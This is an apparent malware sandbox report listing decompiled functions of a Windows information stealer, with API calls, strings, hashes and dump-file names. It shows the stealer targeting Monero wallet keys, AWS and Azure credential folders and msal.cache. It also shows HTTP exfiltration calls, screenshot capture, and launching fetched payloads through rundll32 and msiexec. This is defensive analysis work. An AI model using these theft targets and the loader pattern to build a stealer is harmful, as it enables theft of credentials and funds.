Instruction ID: 90de011499efeb4785dbb9c7a301ca55a7f358504b8cc4b0b9a07e348f03281b
Opcode Fuzzy Hash: 4d8551878cedbc921aca121f83c3149c6cf5c9e5864c1facdef27d2ce0d1f6f7
Instruction Fuzzy Hash: 1FD14C76940208AFDB04EBF4DD96EEE7738EF58301F444518F506A6091EF34AA4ADB72

Function 00D35960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D4A7E6

Part of subcall function 00D347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D34839
Part of subcall function 00D347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D34849

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00D359F8
StrCmpCA.SHLWAPI(?,008DE4E0), ref: 00D35A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D35B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,008DE550,00000000,?,008D99A8,00000000,?,00D51A1C), ref: 00D35E71
lstrlen.KERNEL32(00000000), ref: 00D35E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00D35E93
RtlAllocateHeap.NTDLL(00000000), ref: 00D35E9A
lstrlen.KERNEL32(00000000), ref: 00D35EAF
lstrlen.KERNEL32(00000000), ref: 00D35ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D35EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00D35F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00D35F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00D35F4C
InternetCloseHandle.WININET(00000000), ref: 00D35FB0
InternetCloseHandle.WININET(00000000), ref: 00D35FBD
HttpOpenRequestA.WININET(00000000,008DE510,?,008DDA88,00000000,00000000,00400100,00000000), ref: 00D35BF8

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

InternetCloseHandle.WININET(00000000), ref: 00D35FC7

Strings

", xrefs: 00D35E16
------, xrefs: 00D35D4C
------, xrefs: 00D35A96
", xrefs: 00D35CD5
------, xrefs: 00D35C0B

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: bbd4b3a450890b0a79755838c8a4cabb0232749e78e79c1f735122ea8e5b9e6f
Instruction ID: 5b3a383d371b1b47af93970b802fcde3e827010d314f2e259931f2567c68381f
Opcode Fuzzy Hash: bbd4b3a450890b0a79755838c8a4cabb0232749e78e79c1f735122ea8e5b9e6f
Instruction Fuzzy Hash: DE120271860128ABEB15EBA4DC96FDEB378FF54700F514199B50A62091DF702A4ACF72

Function 00D3CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

Part of subcall function 00D48B60: GetSystemTime.KERNEL32(00D50E1A,008D9BB8,00D505AE,?,?,00D313F9,?,0000001A,00D50E1A,00000000,?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D48B86

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D3CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00D3D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00D3D0CE
lstrcat.KERNEL32(?,00000000), ref: 00D3D208
lstrcat.KERNEL32(?,00D51478), ref: 00D3D217
lstrcat.KERNEL32(?,00000000), ref: 00D3D22A
lstrcat.KERNEL32(?,00D5147C), ref: 00D3D239
lstrcat.KERNEL32(?,00000000), ref: 00D3D24C
lstrcat.KERNEL32(?,00D51480), ref: 00D3D25B
lstrcat.KERNEL32(?,00000000), ref: 00D3D26E
lstrcat.KERNEL32(?,00D51484), ref: 00D3D27D
lstrcat.KERNEL32(?,00000000), ref: 00D3D290
lstrcat.KERNEL32(?,00D51488), ref: 00D3D29F
lstrcat.KERNEL32(?,00000000), ref: 00D3D2B2
lstrcat.KERNEL32(?,00D5148C), ref: 00D3D2C1
lstrcat.KERNEL32(?,00000000), ref: 00D3D2D4
lstrcat.KERNEL32(?,00D51490), ref: 00D3D2E3

Part of subcall function 00D4A820: lstrlen.KERNEL32(00D34F05,?,?,00D34F05,00D50DDE), ref: 00D4A82B
Part of subcall function 00D4A820: lstrcpy.KERNEL32(00D50DDE,00000000), ref: 00D4A885

lstrlen.KERNEL32(?), ref: 00D3D32A
lstrlen.KERNEL32(?), ref: 00D3D339

Part of subcall function 00D4AA70: StrCmpCA.SHLWAPI(008D8900,00D3A7A7,?,00D3A7A7,008D8900), ref: 00D4AA8F

DeleteFileA.KERNEL32(00000000), ref: 00D3D3B4

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 0150e83cf64670c7191262f36fba30278e2ee371c690ccbe2e0edbfd4214123d
Instruction ID: 6d022574330873c1464fffed56a552f47b97796d58f802b96974b7fd8869b3ea
Opcode Fuzzy Hash: 0150e83cf64670c7191262f36fba30278e2ee371c690ccbe2e0edbfd4214123d
Instruction Fuzzy Hash: B9E15B72850108ABEB04EBA4DD96EEE7378FF58301F114158F506B6091EE35AE4ADB73

Function 00D3C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,008DCF88,00000000,?,00D5144C,00000000,?,?), ref: 00D3CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00D3CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00D3CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D3CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00D3CAD9
StrStrA.SHLWAPI(?,008DCEB0,00D50B52), ref: 00D3CAF7
StrStrA.SHLWAPI(00000000,008DCF58), ref: 00D3CB1E
StrStrA.SHLWAPI(?,008DD278,00000000,?,00D51458,00000000,?,00000000,00000000,?,008D88D0,00000000,?,00D51454,00000000,?), ref: 00D3CCA2
StrStrA.SHLWAPI(00000000,008DD2F8), ref: 00D3CCB9

Part of subcall function 00D3C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00D3C871
Part of subcall function 00D3C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00D3C87C

StrStrA.SHLWAPI(?,008DD2F8,00000000,?,00D5145C,00000000,?,00000000,008D88F0), ref: 00D3CD5A
StrStrA.SHLWAPI(00000000,008D8A10), ref: 00D3CD71

Part of subcall function 00D3C820: lstrcat.KERNEL32(?,00D50B46), ref: 00D3C943
Part of subcall function 00D3C820: lstrcat.KERNEL32(?,00D50B47), ref: 00D3C957
Part of subcall function 00D3C820: lstrcat.KERNEL32(?,00D50B4E), ref: 00D3C978

lstrlen.KERNEL32(00000000), ref: 00D3CE44
CloseHandle.KERNEL32(00000000), ref: 00D3CE9C

Strings

, xrefs: 00D3C9C6

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: c24ad09d093702ff3199f1290ca7be3c4b6804ee7d8cd6e952e2a58791c03315
Instruction ID: 59f2f8522cbf92d598bff26010d3d4857565083e01882c158cce55ec7895e204
Opcode Fuzzy Hash: c24ad09d093702ff3199f1290ca7be3c4b6804ee7d8cd6e952e2a58791c03315
Instruction Fuzzy Hash: 30E1FB71950108ABEB15EBA8DC92FEEB778EF54300F414159F50676191EF306A8ACF72

Function 00D48320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

RegOpenKeyExA.ADVAPI32(00000000,008DAD40,00000000,00020019,00000000,00D505B6), ref: 00D483A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00D48426
wsprintfA.USER32 ref: 00D48459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00D4847B
RegCloseKey.ADVAPI32(00000000), ref: 00D4848C
RegCloseKey.ADVAPI32(00000000), ref: 00D48499

Part of subcall function 00D4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D4A7E6

Strings

- , xrefs: 00D485A3
?, xrefs: 00D4837A
%s\%s, xrefs: 00D4844D

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 3622df9801609cbcb1c1256ab7457576f9fab7b42c8ad82fa9b8ab2390fa08dc
Instruction ID: 624158d252c0dd665538311b2a6484ee3a063de433ea5c616cf7b73fe393cff7
Opcode Fuzzy Hash: 3622df9801609cbcb1c1256ab7457576f9fab7b42c8ad82fa9b8ab2390fa08dc
Instruction Fuzzy Hash: 5D81D97195011CABEB68DB54CC95FEEB7B8FF48700F008299E509A6180DF716A89DFB1

Function 00D44D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D48E0B

lstrcat.KERNEL32(?,00000000), ref: 00D44DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00D44DCD

Part of subcall function 00D44910: wsprintfA.USER32 ref: 00D4492C
Part of subcall function 00D44910: FindFirstFileA.KERNEL32(?,?), ref: 00D44943

lstrcat.KERNEL32(?,00000000), ref: 00D44E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00D44E59

Part of subcall function 00D44910: StrCmpCA.SHLWAPI(?,00D50FDC), ref: 00D44971
Part of subcall function 00D44910: StrCmpCA.SHLWAPI(?,00D50FE0), ref: 00D44987
Part of subcall function 00D44910: FindNextFileA.KERNEL32(000000FF,?), ref: 00D44B7D
Part of subcall function 00D44910: FindClose.KERNEL32(000000FF), ref: 00D44B92

lstrcat.KERNEL32(?,00000000), ref: 00D44EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00D44EE5

Part of subcall function 00D44910: wsprintfA.USER32 ref: 00D449B0
Part of subcall function 00D44910: StrCmpCA.SHLWAPI(?,00D508D2), ref: 00D449C5
Part of subcall function 00D44910: wsprintfA.USER32 ref: 00D449E2
Part of subcall function 00D44910: PathMatchSpecA.SHLWAPI(?,?), ref: 00D44A1E
Part of subcall function 00D44910: lstrcat.KERNEL32(?,008DE520), ref: 00D44A4A
Part of subcall function 00D44910: lstrcat.KERNEL32(?,00D50FF8), ref: 00D44A5C
Part of subcall function 00D44910: lstrcat.KERNEL32(?,?), ref: 00D44A70
Part of subcall function 00D44910: lstrcat.KERNEL32(?,00D50FFC), ref: 00D44A82
Part of subcall function 00D44910: lstrcat.KERNEL32(?,?), ref: 00D44A96
Part of subcall function 00D44910: CopyFileA.KERNEL32(?,?,00000001), ref: 00D44AAC
Part of subcall function 00D44910: DeleteFileA.KERNEL32(?), ref: 00D44B31

Strings

\.azure\, xrefs: 00D44DC1
Azure\.aws, xrefs: 00D44E5F
\.aws\, xrefs: 00D44E4D
\.IdentityService\, xrefs: 00D44ED9
Azure\.IdentityService, xrefs: 00D44EEB
*.*, xrefs: 00D44DD8
msal.cache, xrefs: 00D44EF0
Azure\.azure, xrefs: 00D44DD3
*.*, xrefs: 00D44E64

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: b192725ca86ed822a3d45503fb24c8d1d9a1ebe8dd4342714e550cec4b1ac014
Instruction ID: 2f76dd6762dfc22650fe39ab5d52e7e5db72742b1f89a6f90933ea79b3fa98d7
Opcode Fuzzy Hash: b192725ca86ed822a3d45503fb24c8d1d9a1ebe8dd4342714e550cec4b1ac014
Instruction Fuzzy Hash: F841837A9802086BDB50F770EC47FED3238EB64701F004454BA49660C1EEB45BCD9BB2

Function 00D49010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00D4906C

Strings

image/jpeg, xrefs: 00D49136

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 66aa825dcaeeef74d3dd7408409f40339c72198b63bc5629636ff4380fae1a8c
Instruction ID: 467379f12379f439309b1d0b38984706b9e439c126810e1446879a4cf97d29ae
Opcode Fuzzy Hash: 66aa825dcaeeef74d3dd7408409f40339c72198b63bc5629636ff4380fae1a8c
Instruction Fuzzy Hash: 8371DB75910208ABDB04EFE4DC99FEEB7B8EB88700F148508F519A7290DB74A945DB72

Function 00D42E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

ShellExecuteEx.SHELL32(0000003C), ref: 00D431C5
ShellExecuteEx.SHELL32(0000003C), ref: 00D4335D
ShellExecuteEx.SHELL32(0000003C), ref: 00D434EA

Strings

/passive, xrefs: 00D4345B
<, xrefs: 00D43490
C:\Windows\system32\rundll32.exe, xrefs: 00D43332
/i ", xrefs: 00D433E4
C:\Windows\system32\msiexec.exe, xrefs: 00D434BF
.dll, xrefs: 00D431E5
.msi, xrefs: 00D43398
"" , xrefs: 00D4309A

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 4d7cdd88a1996e290bef2fd469bc420f04a680bfe1234de91362a1dc86e2ed5f
Instruction ID: f21428f49cd7ef8bf7c952c14d72570fda4a7d71f9ac2778a600bf3aa4f9a5ed
Opcode Fuzzy Hash: 4d7cdd88a1996e290bef2fd469bc420f04a680bfe1234de91362a1dc86e2ed5f
Instruction Fuzzy Hash: D812E971850118ABEB19EBA4DC92FEEB738EF14300F504159F50666192EF746B4ACFB2

Function 00D452C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D4A7E6

Part of subcall function 00D36280: InternetOpenA.WININET(00D50DFE,00000001,00000000,00000000,00000000), ref: 00D362E1
Part of subcall function 00D36280: StrCmpCA.SHLWAPI(?,008DE4E0), ref: 00D36303
Part of subcall function 00D36280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D36335
Part of subcall function 00D36280: HttpOpenRequestA.WININET(00000000,GET,?,008DDA88,00000000,00000000,00400100,00000000), ref: 00D36385
Part of subcall function 00D36280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00D363BF
Part of subcall function 00D36280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D363D1

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D45318
lstrlen.KERNEL32(00000000), ref: 00D4532F

Part of subcall function 00D48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D48E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00D45364
lstrlen.KERNEL32(00000000), ref: 00D45383
lstrlen.KERNEL32(00000000), ref: 00D453AE

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Strings

ERROR, xrefs: 00D4530A
ERROR, xrefs: 00D454A9
ERROR, xrefs: 00D453B9
ERROR, xrefs: 00D4546F
ERROR, xrefs: 00D45432

Memory Dump Source

